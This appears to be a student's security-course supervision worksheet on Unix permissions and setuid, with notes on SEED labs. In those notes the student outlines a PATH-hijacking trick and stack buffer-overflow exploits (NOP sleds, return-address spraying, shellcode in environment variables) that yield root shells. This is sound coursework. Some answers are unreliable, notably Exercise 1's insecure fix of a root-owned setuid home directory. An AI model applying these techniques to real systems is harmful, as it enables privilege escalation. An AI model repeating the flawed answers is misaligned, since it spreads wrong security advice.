yz709_sup01

Exercise 1

Exercise 1.
Oh no, Alice's Linux laptop broke down. They were the only user (`uid=1000`). Fortunately, they know how to remove and connect their hard disk drive via USB to another computer. Bob created a new user account on their laptop that they can use. They also copied over their `/home/alice` directory from the USB disk to `/home/alice` on Bob's computer.

However, they find something with the access rights seem off. What is the problem? Also, give a Unix command to fix the issue.

- The new user account Alice on Bob's computer is only a normal user account with `uid > 1000`, hence Alice will not get the root privilege.
- Bob could change that folder to a `setuid` folder owned by root (if Bob knows the root password) so that Alice could execute her folders with root's privilege.
    - The setuid permission set on a directory is ignored on most Linux system, but we can configure it to force all files and sub-directories created in this directory to be owned by that owner using a form of inheritance.

```
# change the folder /home/alice as a setuid root folder
# 4755 means drwsr-xr-x
$ sudo chown root /home/alice
$ sudo chmod 4755 /home/alice
```

Comments:

Exercise 2

Exercise 2. → *Exercise 6 from last year's exercises sheet (tricky exercise).*
While inspecting the discretionary access-control arrangements on a Unixcomputer, you find the following setup:

Members of group `staff`:`alex, benn, cloe`
Members of group `gurus`:`cloe`

```
$ls -ld . * */*
drwxr-xr-x  1 alex staff    32768 Apr  2  2010 .
-rw----r--  1 alex gurus    31359 Jul 24  2011 manual.txt
-r--rw--w-  1 benn gurus     4359 Jul 24  2011 report.txt
-rwsr--r-x  1 benn gurus   141359 Jun  1  2013 microedit
dr--r-xr-x  1 benn staff    32768 Jul 23  2011 src
-rw-r--r--  1 benn staff    81359 Feb 28  2012 src/code.c
-r--rw----  1 cloe gurus      959 Jan 23  2012 src/code.h
```

The file `microedit` is a normal text editor, which allows its users to open, edit and save files.

Draw an access control matrix (arranged as below) that shows for each of the above five files, whether `alex`, `benn`, or `cloe` are able, directly or indirectly, to obtain the right to read (R) or replace (W) its contents.

	`manual.txt`	`report.txt`	`microedit`	`src/code.c`	`src/code.h`
alex					
benn					
cloe					

Clarify how each access right R or W was obtained by marking it as follows:

- underline if obtained via rights elevation,
- append * if obtained via the parent directory (delete and replace),
- append $^{+}$ if obtained through ownership (`chmod`).

- Since the current directory is only writable to owner `alex`, all other files or folder with an owner that is not `alex` are copied from somewhere or used root privileges to change owners.
- Also in the current directory, `r-w` for groups and others means they can read file names and metadata (e.g., access rights of the file) and navigate through the directory to open files and directories inside.
- `manual.txt` has a group `gurus` that `alex` does not belong to, so either the root change the group, or the original owner is `cloe` and root changes the file's owner to `alex`
- Folder `src` can be "read" by owner `benn` and "read" and "execute" by group `staff` and others, so `benn` can only see the file names, but not the file permissions inside this folder, so `benn`'s access rights to all files inside folder `src` are overwritten by `src`

- `microedit` has `setuid` bit set, so users with execution rights running the `setuid` program will be granted the file owner privilege.

	manual.txt	report.txt	microedit	src/code.c	src/code.h
alex	R+ W+	_+ W+	RW	R+ _+	_+ _+
benn	R+ _+	R+ _+	R+W+	_* _*	_* _*
cloe	_+ _+	R+W+	R+ _+	R+ _+	R+ _+

Comments:
Question: If all users with execution rights running a `setuid` program would gain the owner's privilege, then is it right that we will first categorise users into three categories (owner, group, others), then grant them the corresponding access rights?

Exercise 3

Exercise 3.
Which Unix command finds all installed setuid root programs? Run it on one of your machines or the SEED VM. Explain for three of these programs why they require **`setuid root`**.

```
$ find <path_to_dir> -user root -perm -4000 -exec ls -ldb {} \;
```

- (1) `find <path_to_dir>` checks all mounted paths starting at the specified directory
- (2) `-user root` the files are owned by root
- (3) `-perm -4000` the permission with first triplet as `4` because the octal number for `setuid` bit in the first triplet is `4`
- (4) `-exec ls -ldb` display the output in `ls -ldb` format

```
# selected setuid programs
(1) /usr/bin/chsh, /usr/bin/chfn (change user names and other information)
(2) /usr/bin/ping
(3) /usr/bin/su
```

- (1) because `chsh` program allows users to change their shell program, this information is stored in the `passwd` database in the last field of the line `alice:x:1002:1002:Alice,,,:/home/alice:/bin/bash` which is only writable by root.
- (2) because `ping` needs root access to use raw sockets to generate and receive ICMP packets, if normal user are allowed to use it, then it could be abused to sniff and disrupt other traffic on the system.
- (3) because `su` needs root access to switch to another user, it only accepts the request if the user knows the password of another user, if it is a normal program, then users can switch

accounts without passwords, which is dangerous.

💡 Comments:

Exercise 4

Exercise 4. *SEED Lab I*
Please work on this SEED Lab: `https://seedsecuritylabs.org/Labs_20.04/Software/Environment_Variable_and_SetUID/`.

Focus on tasks 1-5. If you have time, try to look at the other tasks as well. We might cover them in the next supervision.

> Link to Github:

- Task 1:
  - Get familiar with `printenv`, `env` to print out environment variables, e.g., `env | grep PWD` for a specific environment variable.
  - Shell variables are deep copied from the process's environment variables, users can `unset` or `set` shell variables. When a shell program `fork()` and then `execve()` a child process, the environment variables of the child process consists of all (not `unset`) shell variables copied from EV of the parent process, and exported user-defined shell variables.
- Task 2:
  - A child process `fork()` by a parent process will inherits all the environment variables as the child process's memory is a copy of the parent's. e.g., a `setuid` program inherits environment variables from a `shell` process that creates it.
- Task 3:
  - A process runs a new program in itself by `execve(<filename>,<argv>,<envp>)` will overwrite all environment variables by `envp` array. If a process wants to pass its own environment variables, set `envp = environ`.
- Task 4:
  - Verified that using `system()`, the environment variables of the calling process is passed to the new program `/bin/sh` because the `system()` invokes `execl()` to execute `/bin/sh` and `execl()` calls `execve()`, passing to it the environment variable array.
- Task 5:
  - Dynamic linker has a countermeasure for `setuid` programs, it ignores these two EV when the process's `euid != ruid` or `egid != rgid`, the OS makes sure the `setuid` child program does not inherits the environment variables from the shell program, but only keeps its own environment variables (e.g., `ANY_NAME` and `PATH`).

- Task 6:

```
(1) set `mysystem.c` as a setuid root program
(2) $ cp /bin/sh ./ls
(3) Original path: PATH=/usr/local/sbin:/usr/local/bin:
                       /usr/sbin:/usr/bin:/sbin:/bin:
                       /usr/games:/usr/local/games:/snap/bin
(4) set PATH=.:$PATH (badfile in the current directory)
(5) not sure why, but can only get a normal shell
```

💡 Comments:

Exercise 5

Exercise 5. *SEED Lab II*
Please work on this SEED Lab: `https://seedsecuritylabs.org/Labs_20.04/Software/Buffer_Overflow_Setuid/`.

This one can be a bit intimidating and tricky. Try to do it on your own, but I do not mind if you work together when you get stuck. Just avoid copying from others, but rather do some pair-programming.

Focus on tasks 1-7. If you have time, try to look at the other tasks as well. We will cover them in the next supervision.

> Link to Github:

- Task 3 (Level 1):

```
Assumptions:
(1) know buffer size, (2) has the vulnerable program in hand to debug

1. Debug the vulnerable program to find the debugged version of ebp address
   and buffer starting address
p $ebp = 0xffffca18
p &buffer = 0xffffc9ac

$ebp - &buffer = 108
RA - & buffer = 108 + 4 = 112

2. Construct the bad file
(1) content = bytearray(0x90 for i in range(n))
(2) content[n-len(shellcode):] = shellcode
(3) ret = $ebp + 4 * big_n, makesure no 0 in hex code, e.g., ret = 0xffffcb49
(4) content[112:116] = (ret).to_bytes(L,byteorder='little')
------------------------
        badfile
------------------------
        NOP
        ...
        NOP
------------------------
```

```
        RA
------------------------
        saved ebp
------------------------
        buffer[n]
        ...
        buffer[0]
------------------------

3. Lauch the attack
$ ./exploit.py
$ ./stack-L1
# get root privilege
```

- Task 4 (Level2):

```
Assumptions: (1) Do not know the buffer size, but buffer range is 100-200,
             (2) can debug the vulnerable program
1. Assume buffer size [LB, UB], RA - &buffer <= UB + 4, assume S bytes
2. Spray the first S bytes with a chosen ret
3. Debug to find the debugged ebp address
p $ebp = 0xffffca18
ret = $ebp + 256 (add a multiple of 4, result in a number does not contain 0)

S = 200 + 12
L = 4     # Use 4 for 32-bit address and 8 for 64-bit address
for i in range(0,S,L):
  content[i:i+L] = (ret).to_bytes(L,byteorder='little')

4. Lauch the attack
$ ./exploit2.py
$ ./stack-L2
# get root privilege
```

- Task 5 (Level3):

```
Assumptions: (1) Do not know the buffer size, but buffer range is 100-400,
             (2) can debug the vulnerable program

1. since syscpy stops when it encounters a zero,
   so we can only copy one 64-bit address

2. find the RA field
$ p $rbp = 0x7fffffffd860
$ p &buffer = 0x7fffffffd790
RA - &buffer = 208 + 8 = 216

3. if the shellcode is small enough, or the buffer is big enough,
   we can put into the buffer:
--------------
-------------- buffer[n]
  ...
--------------
  RA
-------------- buffer[216]
  NOP
  ...
  NOP
--------------
  shellcode
--------------
  NOP
  ...
  NOP
```

```
-------------- buffer[0]

(2+) alternatively put shellcode in an envrionment variable


Note: gdb$ x/1gx means 1 gaint word (64-bit) in hex notation

3. Lauch the attack
$ ./exploit3.py
$ ./stack-L3
# get root privilege
```

- Task 6 (Level 4):

```
ok...now the buffer size is extremely small
so we cannot put the shellcode inside the buffer,
but use the environment variable approach

$ ./getenv MYSHELLCODE ./stack-L4
MYSHELLCODE will be at 0x7fffffffef91

gdb-peda$ p $rbp
$1 = (void *) 0x7fffffffd870
gdb-peda$ p &buffer
$2 = (char (*)[10]) 0x7fffffffd866

RA - &buffer = 18

CANNOT MAKE IT WORKING :(
```

- Task 7:

```
1. Turn on the countermeasure /bin/dash
$ sudo ln -sf /bin/dash /bin/sh
$ ls -l /bin/sh /bin/zsh /bin/dash
-rwxr-xr-x 1 root root 129816 Jul 18  2019 /bin/dash
lrwxrwxrwx 1 root root      9 May  7 18:54 /bin/sh -> /bin/dash
-rwxr-xr-x 1 root root 878288 Mar 11 16:38 /bin/zsh

2. Prepend instructions `setuid(0)` to the shellcode

3. Can successfully launch the attack in level 1, 2, and 3, but not 4
```

Comments:
- The approach I did in task 5 requires us to know the exact buffer starting point
- I cannot make task6 (level 4) working using the environment variable approach

Exercise 6

Exercise 6.
Read up on the following terms and think of a small scenario/example (1-2 sentences) for each of them.

- Plausible Deniability
- Non-Repudiation
- Principle of Least Privilege

- Plausible Deniability: the rights to deny to get involved in illegal or unethical activities because there is no clear evidence to prove involvement.
  - A senior instructed an unclear or ambiguous message “maybe someone should fire up an customer complaint to that company”, but later when that is being done by some juniors, the senior would claim they are not involved because they never give a clear instruction to do so.
- Non-repudiation: when we are in front of a third party such as a court, the origin and recipient of the message cannot be denied, this is usually enforced using a signature.
- Principle of least privilege: Every program and user of the system should operate using the least amount of privileges necessary to complete the job.
  - On an iPhone, if we want to use the Map app, it should only be granted the access to our current position, but not further access rights such as our health data, phone battery data and wallet credit card information.

Comments: